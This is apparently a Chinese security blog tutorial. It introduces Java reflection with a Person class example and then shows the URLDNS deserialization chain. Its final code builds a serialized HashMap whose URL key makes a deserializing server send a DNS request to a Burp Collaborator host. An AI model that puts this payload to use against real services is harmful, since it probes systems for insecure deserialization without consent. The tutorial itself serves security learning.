反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
什么是反射
java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。
基本形式
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
public class Person {private String name;public int age;public void act(){System.out.println("test");}@Overridepublic String toString() {return "Persion{" +"name='" + name + '\'' +", age=" + age +'}';}public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public Person() {}public Person(String name, int age) {this.name = name;this.age = age;}}
Class c = Class.forName("Person");
this.getClass().getClassLoader().loadClass("Person");
Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);
我们来逐行写一下分析
Constructor constructor = c.getConstructor(String.class,int.class);
public Person(String name, int age) {
this.name = name;
this.age = age;
}
Person p1 = (Person) constructor.newInstance("abc",22);

private String name; public int age;
public
Field ageField = c.getField("age");
ageField.set(p1,11);

private
Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");





因此,在这里我们可以验证一下我们上面的想法。


链子
这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法
HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法



public static void main(String[] args) throws Exception{HashMaphashMap = new HashMap<>();URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");Class c = u.getClass();//在进行put方法传参之前修改URL对象的hashCode值Field hashcodeField = c.getDeclaredField("hashCode");hashcodeField.setAccessible(true);hashcodeField.set(u,123);hashMap.put(u,123);//修改URL对象的hashCode值为-1hashcodeField.set(u,-1);serialize(hashMap);}
本文作者:蚁景网安实验室
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/187255.html
必填 您当前尚未登录。 登录? 注册
必填(保密)